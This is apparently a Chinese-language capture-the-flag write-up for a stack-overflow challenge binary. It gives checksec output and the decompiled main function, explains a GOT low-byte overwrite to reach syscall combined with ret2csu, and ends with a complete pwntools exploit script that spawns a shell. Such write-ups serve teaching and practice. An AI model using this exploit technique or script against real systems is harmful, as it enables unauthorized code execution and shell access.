基本检查
socphob@giao:/mnt/c/Users/admin/Desktop$ file ./darkdark
darkdark: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/socphob/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/ld-2.27.so, for GNU/Linux 3.2.0, BuildID[sha1]=33c3a6866ab6090d6400253bd9465496444d97da, stripped
socphob@giao:/mnt/c/Users/admin/Desktop$ checksec ./darkdark
[*] '/mnt/c/Users/admin/Desktop/darkdark'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
main
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[48]; // [rsp+0h] [rbp-30h] BYREF
alarm(0x20u);
read(0, buf, 0x100uLL);
return 0LL;
}
题目非常简短,main函数里面仅仅调用了alarm和read,就是普通的栈溢出,但是没有输出函数,看起来是没法泄露leak libc的。那这里怎么办?这里可以通过ROP修改got表低字节到syscall,通过系统调用执行/bin/sh。函数在首次执行时,会把真实地址写到got表的表项中,它是一个libc的地址,低一个半字节是固定,这个题目也是给了libc版本的,那么我们就可以通过修改got表项的低字节来使他指向它附近的地址。这里选择alarm。
got表
可以在alarm + 5的地方找到syscall,我们的目的就是要把最后一个字节0x10改成0x15,然后ROP实现syscall调用execve('/bin/sh\x00',0,0)。
ROP的思路是先调用三次read,1.将alarm@got.plt的低字节改为0x15,2.把/bin/sh/\x00写到bss段,3.控制rax为0x3b。 然后ret2csu执行。
ret2csu,通过r13控制rdi,通过r12和rbx调用alarm。
EXP:
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
p = process('./darkdark')
elf = ELF('./darkdark')
bss = 0x601028
pop_rdi_ret = 0x4005d3
pop_rsi_r15_ret = 0x4005d1
main = 0x400537
#往bss中写入 /bin/sh\x00, 相当于 read(0, bss, len)
payload = b'A'*0x38 + p64(pop_rsi_r15_ret)+p64(bss)+p64(0)+p64(elf.plt['read'])+p64(main)
p.sendline(payload)
sleep(1)
p.sendline(b'/bin/sh\x00')
payload = b'B'*0x38+p64(pop_rsi_r15_ret)+p64(elf.got['alarm'])+p64(0)+p64(elf.plt['read']) #改写alarm的值 <=> read(0, alarm, len)
payload += p64(pop_rsi_r15_ret)+p64(0x601038)+p64(0)+p64(elf.plt['read']) #这里调用read是为了控制rax为0x3b <=> rax = read(0, 0x601038, len)
payload += p64(0x4005CA)+ p64(0)+p64(1)+p64(elf.got['alarm'])+p64(bss)+p64(0)+p64(0)+p64(0x4005B0) #通过ret2csu控制其他参数
p.sendline(payload)
# gdb.attach(p)
sleep(1)
p.send(b'\x15')#改写alarm到syscall'
sleep(1)
p.send(b'C'*0x3b)#使得rax=0x3b
p.interactive()
最后于 2021-11-6 11:25
被LS_恶霸崔佛编辑
,原因: